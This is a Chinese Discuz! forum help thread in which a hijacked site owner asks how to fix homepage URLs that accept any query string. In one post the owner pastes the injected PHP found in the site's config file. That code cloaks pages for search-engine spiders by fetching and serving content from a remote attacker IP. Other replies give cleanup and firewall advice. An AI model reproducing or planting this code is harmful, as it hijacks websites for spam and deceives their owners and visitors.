Discuz!官方免费开源建站系统

 找回密码
 立即注册
搜索

[新需求] 网站被劫持后发现网站首页后面加任意字符都可以访问如何解决?

[复制链接]
1270643127 发表于 2020-11-29 23:20:07 | 显示全部楼层 |阅读模式
需求发布
金额范围: 50-100 元
预算金额: 50 元
开始时间:
结束时间:
联系方式: 隐藏内容
网站被劫持后发现网站首页后面加任意字符都可以访问如何解决?9 T! m/ V$ l2 t+ ~2 A0 v& p7 l

! Q0 B4 Z; H" l! x9 z) H3 e网站被劫持后生成了大量首页php后面加任意字符都还是可以访问
  d) {: D$ I* b3 W% K$ Q百度收录大量的这样帖子& B7 d; {8 n& \" N
) ~0 m8 G6 I; c( \! l0 c) a/ }
现在如何解决这样的?
: w7 B" H+ z8 [% m5 H" u% P  L. [5 o; u1 a
宝塔面板。。。。。。
5 O" A( J5 _, e7 d# C9 G5 T, v1 E0 ^% b
如/forum.php?123456# V8 X& a$ h# m8 n9 O: ^
/forum.php?12365
9 n  c( Z2 a0 n, V5 s4 Q/ G( |! e/forum.php?515151
; k* }5 E4 j- d5 D3 A" e! D+ Q- W( b8 T- v1 p0 B/ z# q5 V: P
随便加都可以访问,只有首页而已其他文章帖子加就不可以。。。
& t1 d; `2 R8 N; Y$ G1 O, ?
回复

使用道具 举报

 楼主| 1270643127 发表于 2020-11-30 00:17:02 | 显示全部楼层

- s! f! e6 X' s8 t: N#set_time_limit(30);error_reporting(0);$tr=stristr;$er=$_SERVER;define('url',$er['REQUEST_URI']);define('ref',$er['HTTP_REFERER']);define('ent',$er['HTTP_USER_AGENT']);define('site',"http://156.226.52.130");define('road',"/?road=".$er['HTTP_HOST'].url."&der=".ent);define('regs', '@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');define('area',$tr(url,".xml")or $tr(url,".html")or  $tr(url,".doc")or $tr(url,".txt")or $tr(url,".ppt")or $tr(url,".xls")or $tr(url,".csv")or $tr(url,".shtml")or $tr(url,".docx")or $tr(url,".xlsx")and $tr(url,"?"));if(area&&preg_match(regs,ref)){echo g('http://156.226.52.130/404.html');exit;}if(preg_match(regs,ent)){if(area){echo g(site.road);exit;}else{echo g("http://156.226.52.130/u.php");ob_flush();flush();}}function g($f){$c=array('http'=>array('method'=>"GET"));$g=stream_context_create($c);$h=file_get_contents($f,false,$g);if(!empty($h)){return $h;}}
6 s) A( }' i, [+ l// --------------------------  CONFIG ADMINCP  -------------------------- //2 T: n, Q% j& s  b/ ^- l
// -------- Founders: $_config['admincp']['founder'] = '1,2,3'; --------- //$ k0 F, `" }3 e+ k
回复

使用道具 举报

cardz! 发表于 2020-11-30 06:34:12 | 显示全部楼层
这个是加什么都可以访问,出现这种字符的原因解决了就好了。Q3160510998
回复

使用道具 举报

Failure 发表于 2020-11-30 11:16:25 | 显示全部楼层
你找到了劫持代码 并没有找到后门在哪,还是会出现的
回复

使用道具 举报

 楼主| 1270643127 发表于 2020-11-30 11:34:07 | 显示全部楼层
cardz! 发表于 2020-11-30 06:34+ l3 L+ J, p( v. Y+ [& v  ?! r
这个是加什么都可以访问,出现这种字符的原因解决了就好了。Q3160510998

" ]" I$ x; @) e( n/ h1 I6 ]啥原因呀?现在是加啥都还可以访问..
回复

使用道具 举报

cardz! 发表于 2020-11-30 13:54:57 | 显示全部楼层
1270643127 发表于 2020-11-30 11:34# i% A. }" c0 X" [1 {0 V
啥原因呀?现在是加啥都还可以访问..
( `1 @" g: i  y6 }3 T
谁的都可以,不只是你的。
回复

使用道具 举报

 楼主| 1270643127 发表于 2020-11-30 17:40:38 | 显示全部楼层
cardz! 发表于 2020-11-30 13:547 Q9 q1 E+ [4 Q4 ~4 T/ G$ s
谁的都可以,不只是你的。
" ~, _4 f# w: x, A% u% @
那不是不能解决了?已经收录了好多了
回复

使用道具 举报

babyfacer 发表于 2020-12-12 18:45:36 | 显示全部楼层
1270643127 发表于 2020-11-30 17:40
7 e1 j8 Y0 z" x& d, ^! `那不是不能解决了?已经收录了好多了

2 z' x! w; f% {7 ~- a; C你先把config里边那段代码删除,然后还要检查最近新增和修改的文件
# S, v: M9 X1 }4 ]' k( c; \7 z2 f0 K3 x+ P. f4 V7 ^5 I
你去做一个抓取测试(你自己正常访问页面,是正常的,但是蜘蛛访问,是另外一个样子)
8 [8 l6 s4 ^3 t* |如果没有注册百度站长或者百度统计,就去下面这个网址,也可以
  B, m$ o4 q8 H$ b
  1. http://stool.chinaz.com/tools/webcheck.aspx
复制代码
' @9 u8 }$ A6 c0 \5 W% e, O! C

8 l5 v, ~4 j: g  ~如果以前的那些页面依然有问题,就说明你没有清除干净(也算不上清除干净,你删除了恶意代码,但是后门还是在的)( [4 W6 ?; D) K5 k

- o$ X6 R1 m0 l5 O- d- d我自己网站的黑链网址是/?s***.后缀   清除之后,这些页面就不能访问了,然后你可以去百度提交死链,删除这些快照。当然啦,我很早以前就在robots里边直接屏蔽了【?】 所以被挂黑链半个月,百度 根本没有收录黑链。然后我发现黑链之后,直接去百度申请闭站了,解决完了才恢复的
回复

使用道具 举报

babyfacer 发表于 2020-12-12 18:47:55 | 显示全部楼层
而且你使用宝塔,宝塔有免费防火墙,你可以把恶意代码的一些关键词,比如“156.226.52.130” “$tr(url” 直接添加到防火墙。并且,定期扫描(扫描结果要分析哈,DZ默认的某些文件也会被扫描出有问题,但是并不是真的有问题)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2025-8-24 10:35 , Processed in 0.130048 second(s), 16 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表